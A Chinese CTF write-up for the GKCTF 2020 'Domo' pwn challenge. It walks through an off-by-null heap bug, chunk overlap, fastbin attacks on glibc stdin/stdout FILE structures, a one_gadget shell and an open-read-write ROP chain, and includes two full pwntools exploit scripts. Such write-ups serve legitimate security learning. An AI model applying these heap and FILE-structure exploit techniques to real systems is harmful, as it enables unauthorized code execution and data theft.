[PWN]GKCTF 2020 Domo分析

[PWN]GKCTF 2020 Domo分析

前言

这道题真心觉得出得不错,一道题学到了很多新的知识。

感谢出题人starssgo师傅和nocbtm师傅的思路和writeup,下面就来详细分析一下解题思路和其中用到的解题技巧。

存在的漏洞

  • off by null

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    unsigned __int64 cmd_add()
    {
    size_t nbyte; // [rsp+0h] [rbp-10h]
    unsigned __int64 v2; // [rsp+8h] [rbp-8h]

    v2 = __readfsqword(0x28u);
    if ( (unsigned int)sub_C16() == 1 && count <= 8 )
    {
    for ( HIDWORD(nbyte) = 0; SHIDWORD(nbyte) <= 8; ++HIDWORD(nbyte) )
    {
    if ( !ptr[SHIDWORD(nbyte)] )
    {
    puts("size:");
    _isoc99_scanf("%d", &nbyte);
    if ( (nbyte & 0x80000000) == 0LL && (signed int)nbyte <= 288 )
    {
    ptr[SHIDWORD(nbyte)] = malloc((signed int)nbyte);
    puts("content:");
    read(0, ptr[SHIDWORD(nbyte)], (unsigned int)nbyte);
    *((_BYTE *)ptr[SHIDWORD(nbyte)] + (signed int)nbyte) = 0;
    ++count;
    }
    else
    {
    puts("sobig");
    }
    return __readfsqword(0x28u) ^ v2;
    }
    }
    }
    return __readfsqword(0x28u) ^ v2;
    }

    添加用户这个函数这里,在输入完内容之后,会加个\x00进行截断,然而加\x00的位置是他的size位置,超出了他的空间大小。这样就能修改下一个chunk的szie,实现改pre_inuse和改小下一个chunk的size

    又因为是size位置改成\x00,输入的size稍不注意就会错改了什么东西-_-!,这都是后话。

  • 任意地址写

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    unsigned __int64 __fastcall cmd_edit(_DWORD *a1, _DWORD *a2, _DWORD *a3)
    {
    _DWORD *v4; // [rsp+8h] [rbp-28h]
    void *buf; // [rsp+20h] [rbp-10h]
    unsigned __int64 v6; // [rsp+28h] [rbp-8h]

    v4 = a3;
    v6 = __readfsqword(0x28u);
    buf = 0LL;
    if ( (unsigned int)sub_C16() == 1 )
    {
    if ( *a1 && *a2 && *v4 )
    {
    puts("addr:");
    _isoc99_scanf("%ld", &buf);
    puts("num:");
    read(0, buf, 1uLL);
    *a1 = 0;
    *a2 = 0;
    *v4 = 0;
    puts("starssgo need ten girl friend ");
    }
    else
    {
    puts("You no flag");
    }
    }
    return __readfsqword(0x28u) ^ v6;
    }

    这里很容易就看出来了,输入任意地址,修改最后一个字节,且只有改一次的机会。

利用过程

以下代码块除了exp外,index都是代码块内从0算起的相对index。

0x0 leak libc address和heap address

对于libc address,要先创一个size大于80,既free后会进入unsorted bin的chunk,再创一个chunk垫底,防止top chunk会跟unsorted bin合并。删除第一个chunk进入unsorted bin,被删除的chunk的fdbk就会有指向main_arena范围的地址。

1
2
3
cmd_add(0xf0,'')
cmd_add(0x10,'')
cmd_del(0)

然后再申请与这个unsorted binchunk同样大小的chunk,内容输入为空,因为我这里用的是sendline,换行符\x0a会覆盖fd的最后一个字节,这里\x00fd没影响。

用show函数就能输出main_arena的地址,又因为main_arena的地址相对libc地址的偏移是一定的,所以能够计算出libc地址。具体偏移是多少可以用gdb的vmmap命令计算出来。

1
2
cmd_add(0xf0,'')
main_arena = u64(cmd_show(0).ljust(8,'\x00')) + offset

leak heap address的思路差不多,创两个同样小的chunk,再都free掉进fastbins。第二个free的chunk的fd会指向第一free的chunk,然后一样重新申请一个同样大小的chunk,写入内容空,再输出。

1
2
3
4
5
cmd_add(0x10,'')
cmd_add(0x10,'')
cmd_del(0)
cmd_add(0x10,'')
main_arena = u64(cmd_show(0).ljust(8,'\x00')) + offset

这里输入的size要设计得当,不然一不小心就覆盖了后面chunk的size。特别后面fastbins attack时候不对齐的fake chunk,我在这里踩了不少坑。

0x01 chunk overlap

chunk overlap这部分我申请三个chunk,输入的size分别是0x40、0x68和0xf0。第一个chunk放fake chunk,第二个chunk修改fake chunk的next_size,因为第三个chunk的size是0x101,顺便用off by null修改第三个chunk的pre_inuse,而第三个chunk的作用纯粹是它的pre_inuse被修改后,根据它的pre_size向前unlink

还有就是fake chunk那个要伪造下fdbk指向自己,前面有了head addr,在fake chunk的0x18处放fake chunk的地址,令fake chunk->fd->bk=fake chunkfake chunk->bk->fd=fake chunk就OK。

题目的edit函数非常规edit,想修改chunk得free掉再重新申请。

1
2
3
4
5
6
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10))
cmd_add(0x68,'')
cmd_add(0xf0,'')
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0))
cmd_del(2)

free第三块chunk前堆的情况:

free第三块chunk后,堆成功重叠:

这时候就可以控制第二个chunk为所欲为。

0x02 fastbins attack

经过上面的步骤,将堆的情况简单化一下就是还有一个size为0x50的chunk且index为0,一个size为0x70的chunk且index为1和一个大的unsorted bins

为了好操作一点,先申请一个chunk占着准备用来修改index为1的chunk;然后申请一个size为0x70的chunk,并立即free掉,再free掉szie同为0x70的index为1的chunk;最后,利用占着位的chunk修改第二个free的0x70的chunk,原本指向第一个free的0x70的chunk的fd为想要任意读写的fake chunk的地址。

1
2
3
4
5
6
cmd_add(0xc0,'') # index 2
cmd_add(0x60,'') # index 3
cmd_del(3)
cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk))

此时堆中的情况:

到这里fastbins attack还没完成,由于思路的不同,后面的利用步骤会有所不同。先说说nocbtm师傅的思路。在_IO_2_1_stdin_既stdin文件流结构体的指针里有个vtable变量。

vtable变量的值为_IO_file_jumps的指针,_IO_file_jumps中保存了一些函数指针,一系列标准IO函数中会调用这些函数指针,但_IO_file_jumps里的内容是无法修改的,但可以修改vtable指向伪造的_IO_file_jumps从而getshell。

批注 2020-05-27 161104

_IO_2_1_stdin_ + 160 - 0x3刚好能作为fake chunk的size,通过fastbins attack到这里修改vtable。

1
2
3
4
5
6
7
8
9
10
11
12
fake_chunk = _IO_2_1_stdin_ + 160 - 0x3
cmd_add(0xc0,'') # index 2
cmd_add(0x60,'') # index 3
cmd_del(3)
cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk)) # overwrite fd
cmd_add(0xa8,p64(0)*2+p64(one_gadget)*19) # fake vtable
fake_vtable = head_addr + offset
payload = '\x00'*3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
cmd_add(0x60,'')
cmd_add(0x63,payload)

这里通过one_gedget就已经getshell了。

还有另一种思路就是出题人的思路,libc的environ里记着stack的地址。

批注 2020-05-27 163914

用同样是_IO_FILE_IO_2_1_stdout_控制了其中_IO_write_base_IO_write_ptr和flag,就能任意地址读取_IO_write_base为读取的起始地址,_IO_write_ptr为读取的末地址,并且flag的值要得是0xfbad1800才能正常读取,至于是为什么,在后面参考的最后一条有说,但我是没看懂-_-!。在_IO_2_1_stdout_ - 0x43的地方找到个合适的fake chunk的size,其他地方的填充就用原来的值_IO_2_1_stdout_ + 131就行。

在修改成功之后再去_IO_2_1_stdout_那看还是没改那样的,但是能接收到输出的,可能是输出完就恢复了。

1
2
3
4
5
6
7
8
9
10
11
fake_chunk = _IO_2_1_stdout_ - 0x43
cmd_add(0xc0,'') # index 2
cmd_add(0x60,'') # index 3
cmd_del(3)
cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk)) # overwrite fd
payload = '\x00'*3+flat(0,0,0,0,0,'_IO_file_jumps',0xfbad1800,_IO_2_1_stdout_+131,_IO_2_1_stdout_+131,_IO_2_1_stdout_+131,libc.sym['environ'],libc.sym['environ']+8)
cmd_add(0x60,'')
cmd_add(0x63,payload)
stack_addr = u64(p.recv(6).ljust(8,'\x00'))

前面从environ读栈地址就是为了改返回地址控制EIP,_IO_2_1_stdin_的任意地址写跟_IO_2_1_stdout_的任意地址读类似,也是需要控制flag还有_IO_buf_base_IO_buf_end

这里说下我用非对齐的位置做这次fake chunk的size时会出错,用出题人的方法,任意地址写的函数写一字节作为size的方法却没问题,还有为了payload前加5\n顺便退出程序,写入到_IO_buf_base返回地址要-2以接收5\n。这回除了flag_IO_buf_base_IO_buf_end外,其余位置用0填充即可。

1
2
3
4
5
6
7
8
9
10
11
12
fake_chunk = _IO_2_1_stdin_ - 0x28
ret_addr = stack_addr + offset
cmd_add(0x60,'')
cmd_del(4)
cmd_del(2)
cmd_del(1)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk))
cmd_add(0x40,'flag\x00') # save orw output
cmd_add(0x60,'')
payload = flat(0,_IO_file_jumps,0,0xfbad1800,0,0,0,0,0,0,ret_addr-2,ret_addr+0x118)
cmd_edit(stdin_hook-0x20,'\x7f')
cmd_add(0x60,payload)

因为有seccomp的沙箱,改main函数的返回地址为gadget是没法getshell的。禁了些危险的syscall,只能用orw(open,read,write),所以前面content为flag的chunk是要open的文件名,和顺便用来存输出。还有要注意文件名要截断,之前没注意,怪不得一直都读不到flag-_-!。

1
2
3
4
5
6
7
8
9
prdi = libc.search(asm("pop rdi\nret")).next()
prsi = libc.search(asm("pop rsi\nret")).next()
prdx = libc.search(asm("pop rdx\nret")).next()
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
filename_addr = heap_addr + 0x210
orw = flat(prdi,filename_addr,prsi,72,open_addr,prdi,3,prsi,filename_addr+0x8,prdx,0x30,read_addr,prdi,1,prsi,filename_addr+0x8,prdx,0x100,write_addr)
p.sendlineafter('> ','5\n'+orw)

返回地址覆盖上了ROP,对了,这里的ROP用的是libc的。毕竟知道了libc的地址,libc的ROP偏移是一定的,ELF的好像不是,用起来比较麻烦。

贴上exp

getshell的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './domo'
elf = ELF('./domo')

if sys.argv[1] == 'l':
p = process('./domo')
libc = context.binary.libc
else:
p = remote('node3.buuoj.cn',28773)
libc = context.binary.libc

def cmd_add(size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def cmd_del(index):
p.sendlineafter('> ','2')
p.sendlineafter('index:',str(index))

def cmd_show(index):
p.sendlineafter('> ','3')
p.sendlineafter('index:\n',str(index))
return p.recv(6)

def cmd_edit(addr,num):
p.sendlineafter('> ','4')
p.sendlineafter('addr:',str(addr))
p.sendlineafter('num:',num)

cmd_add(0x40,'') # 0
cmd_add(0x60,'') # 1

# leak main_arena
cmd_add(0xf0,'') # 2
cmd_add(0x10,'') # 3
offset = 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
cmd_del(2)
cmd_add(0xf0,'')
main_arena = u64(cmd_show(2).ljust(8,'\x00')) + offset
offset = 0x7f3d7a680b78 - 0x7f3d7a2bc000
libc.address = main_arena - offset
print(hex(main_arena))
print(hex(libc.address))
# gdb.attach(p)

# leak heap_addr
cmd_add(0x10,'') # 4
cmd_del(3)
cmd_del(4)
cmd_add(0x10,'')
heap_addr = u64(cmd_show(3).ljust(8,'\x00')) - 0x10a + 0x10
print(hex(heap_addr))
# gdb.attach(p)

# overlapping
cmd_del(0)
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10))
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0))
cmd_del(2)
# gdb.attach(p)

# fastbins attack overwrite vtable
_IO_file_jumps = libc.sym['_IO_file_jumps']
_IO_2_1_stdin_ = libc.sym['_IO_2_1_stdin_']
fake_chunk = _IO_2_1_stdin_ + 160 - 0x3
fake_vtable = heap_addr + 0x210
one_gadgets = [0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget = libc.address + one_gadgets[2]
print(hex(_IO_file_jumps))
print(hex(_IO_2_1_stdin_))
print(hex(fake_vtable))
print(hex(one_gadget))

cmd_add(0xc0,'')
cmd_add(0x60,'')
cmd_del(4)
cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk))
cmd_add(0xa8,p64(0)*2+p64(one_gadget)*19)
payload = '\x00'*3+flat(0,0,0xffffffff,0,0,fake_vtable,0,0,0,0,0,0)
cmd_add(0x60,'')
gdb.attach(p)
cmd_add(0x63,payload)

p.interactive()

读flag的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
# -*- coding: utf-8 -*-
from LibcSearcher import *
from pwn import *

context.log_level = 'DEBUG'
context.binary = './domo'
elf = ELF('./domo')

if sys.argv[1] == 'l':
p = process('./domo')
libc = context.binary.libc
else:
p = remote('node3.buuoj.cn',29288)
libc = context.binary.libc

def cmd_add(size,content):
p.sendlineafter('> ','1')
p.sendlineafter('size:',str(size))
p.sendlineafter('content:',content)

def cmd_del(index):
p.sendlineafter('> ','2')
p.sendlineafter('index:',str(index))

def cmd_show(index):
p.sendlineafter('> ','3')
p.sendlineafter('index:\n',str(index))
return p.recv(6)

def cmd_edit(addr,num):
p.sendlineafter('> ','4')
p.sendlineafter('addr:',str(addr))
p.sendlineafter('num:',num)

cmd_add(0x40,'') # 0
cmd_add(0x60,'') # 1

# leak main_arena
cmd_add(0xf0,'') # 2
cmd_add(0x10,'') # 3
offset = 0x7ffff7bcdb78 - 0x7ffff7bcdb0a
cmd_del(2)
cmd_add(0xf0,'')
main_arena = u64(cmd_show(2).ljust(8,'\x00')) + offset
offset = 0x7f3d7a680b78 - 0x7f3d7a2bc000
libc.address = main_arena - offset
print(hex(main_arena))
print(hex(libc.address))
# gdb.attach(p)

# leak heap_addr
cmd_add(0x10,'') # 4
cmd_del(3)
cmd_del(4)
cmd_add(0x10,'')
heap_addr = u64(cmd_show(3).ljust(8,'\x00')) - 0x10a + 0x10
print(hex(heap_addr))
# gdb.attach(p)

# overlapping
cmd_del(0)
cmd_add(0x40,flat(0,0xb1,heap_addr+0x18,heap_addr+0x20,heap_addr+0x10))
cmd_del(1)
cmd_add(0x68,flat('\x00'*0x60,0xb0))
cmd_del(2)
# gdb.attach(p)

# fastbins attack leak stack addr
environ_addr = libc.sym['environ']
stdout_hook = libc.sym["_IO_2_1_stdout_"]
_IO_file_jumps = libc.sym['_IO_file_jumps']
fake_chunk = stdout_hook - 0x43
print(hex(environ_addr))
print(hex(stdout_hook))
cmd_add(0xc0,'')
cmd_add(0x60,'')
cmd_del(4)
cmd_del(1)
cmd_del(2)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk))
payload = '\x00'*3+flat(0,0,0,0,0,libc.sym['_IO_file_jumps'],0xfbad1800,stdout_hook+131,stdout_hook+131,stdout_hook+131,environ_addr,environ_addr+8)
cmd_add(0x60,'')
cmd_add(0x68,payload)
p.recvline()
ret_addr = u64(p.recv(6).ljust(8,'\x00')) - 0xf0
print(hex(ret_addr))

# overwrite return address
stdin_hook = libc.sym["_IO_2_1_stdin_"]
print(hex(stdin_hook))
# fake_chunk = stdin_hook - 0x13 # maclloc函数会出错
fake_chunk = stdin_hook - 0x28
print(hex(fake_chunk))
cmd_add(0x60,'')
cmd_del(5)
cmd_del(2)
cmd_del(1)
cmd_add(0xc0,flat('\x00'*0x38,0x71,fake_chunk))
cmd_add(0x40,'flag\x00')
cmd_add(0x60,'')
# payload = '\x00'*3+flat(0xfbad1800,0,0,0,0,0,0,ret_addr-2,ret_addr+8,0,0,0)
payload = flat(0,_IO_file_jumps,0,0xfbad1800,0,0,0,0,0,0,ret_addr-2,ret_addr+0x118) # 减2为了放5\n
print(hex(len(payload)))
# gdb.attach(p)
cmd_edit(stdin_hook-0x20,'\x7f')
cmd_add(0x60,payload)

prdi = libc.search(asm("pop rdi\nret")).next()
prsi = libc.search(asm("pop rsi\nret")).next()
prdx = libc.search(asm("pop rdx\nret")).next()
open_addr = libc.sym['open']
read_addr = libc.sym['read']
write_addr = libc.sym['write']
filename_addr = heap_addr + 0x210
orw = flat(prdi,filename_addr,prsi,72,open_addr,prdi,3,prsi,filename_addr+0x8,prdx,0x30,read_addr,prdi,1,prsi,filename_addr+0x8,prdx,0x100,write_addr)
print(hex(len(orw)))
gdb.attach(p)
p.sendlineafter('> ','5\n'+orw)

p.interactive()

后记

再说一遍,这题出得真不错,学到了很多东西,特别是关于_IO_FILE知识点。说句老话,心细挖天下,我做这题时候不够细心,以至于踩了不少坑,而且前面两个师傅水平很高,对于这题用到的技巧都很熟练了,所以写的writeup有些细节没说,我这菜鸡缺少些前置的知识,有些地方看不懂,所以写了这篇水文,也为后面的师傅填填坑。

参考

GKCTF_pwn_Domo(出题人角度)

GKCTF pwn writeup

_IO_FILE利用思路总结

利用stdout来处理无leak的堆题

评论

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×